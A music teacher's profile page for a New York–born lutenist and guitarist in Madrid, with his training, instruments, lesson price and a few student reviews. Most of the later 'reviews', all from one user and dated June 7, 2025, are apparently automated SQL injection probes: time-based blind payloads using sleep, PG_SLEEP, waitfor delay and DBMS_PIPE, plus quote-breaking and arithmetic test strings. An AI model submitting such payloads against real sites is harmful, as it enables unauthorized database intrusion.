Jon is a specialist in plucked string instruments, is a native of New York, and currently based in Madrid. He started his musical studies at the age of 10. He holds a Bachelor’s Degree in Classical Guitar and Ethnomusicology and a Masters Degree in Historical Plucked String Instruments, both from the Jacobs School of Music at Indiana University as well as, the completion of the “formación continuada” program at Escola Superior de Music de Catalunya.
Jon has been teaching private and classroom lessons for over 8 years. Having a diverse musical background and upbringing allows him to tailor lessons for individual students of all ages, musical interests, and skill levels.
He has studied with world-renowned lutenists such as Nigel North and Xavier Diaz Lattore. His previous teachers include Petar Jankovic, Christopher Gotzenberg (Classical Guitar), Ikhlaq Hussain (Sitar), and Steven Rickards (Voice).
Jon has experience performing historical plucked string instruments, such as theorbo, lutes, vihuela, 5-course guitar, and 4-course guitar, in addition to acoustic/electric/classical guitars, mandolin, banjo, ukulele, sitar, and bass.
$60.00/lesson
jvidal1972 - July 17, 2023
Jon is a talented teacher with a lot of patience and dedication to his students. He can play and teach any kind of music.
Zoey - March 27, 2021
Jon was a great guitar teacher, especially for a beginner like me. He worked with my knowledge of basic piano to explain some guitar theory in a way I could understand. I’d highly recommend his lessons to both beginners and professionals alike!
Heath - March 27, 2021
Jon is an absolutely excellent guitar and music instructor. His knowledge of both theory and technique is immense, and he conveys both to his students in fun and engaging ways! I thoroughly enjoyed learning from him, and would recommend his instruction to anyone looking to learn music theory, guitar, and a variety of other stringed instruments!
lxbfYeaa - June 7, 2025
555
lxbfYeaa - June 7, 2025
555
lxbfYeaa - June 7, 2025
555
lxbfYeaa - June 7, 2025
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
lxbfYeaa - June 7, 2025
555-1)
lxbfYeaa - June 7, 2025
555
lxbfYeaa - June 7, 2025
555
lxbfYeaa - June 7, 2025
555*if(now()=sysdate(),sleep(15),0)
lxbfYeaa - June 7, 2025
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
lxbfYeaa - June 7, 2025
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
lxbfYeaa - June 7, 2025
555-1
lxbfYeaa - June 7, 2025
555-1 waitfor delay '0:0:15' --
lxbfYeaa - June 7, 2025
555TtXlZc2I'
lxbfYeaa - June 7, 2025
555-1 OR 397=(SELECT 397 FROM PG_SLEEP(15))--
lxbfYeaa - June 7, 2025
555-1) OR 30=(SELECT 30 FROM PG_SLEEP(15))--
lxbfYeaa - June 7, 2025
555-1)) OR 369=(SELECT 369 FROM PG_SLEEP(15))--
lxbfYeaa - June 7, 2025
555mvL1YwAa' OR 190=(SELECT 190 FROM PG_SLEEP(15))--
lxbfYeaa - June 7, 2025
555vbEUqACv') OR 12=(SELECT 12 FROM PG_SLEEP(15))--
lxbfYeaa - June 7, 2025
555S62Li9YH')) OR 97=(SELECT 97 FROM PG_SLEEP(15))--
lxbfYeaa - June 7, 2025
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
lxbfYeaa - June 7, 2025
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
lxbfYeaa - June 7, 2025
555
lxbfYeaa - June 7, 2025
555'"
lxbfYeaa - June 7, 2025
555����%2527%2522\'\"
lxbfYeaa - June 7, 2025
@@0tlR0
lxbfYeaa - June 7, 2025
(select 198766*667891)
lxbfYeaa - June 7, 2025
(select 198766*667891 from DUAL)
lxbfYeaa - June 7, 2025
555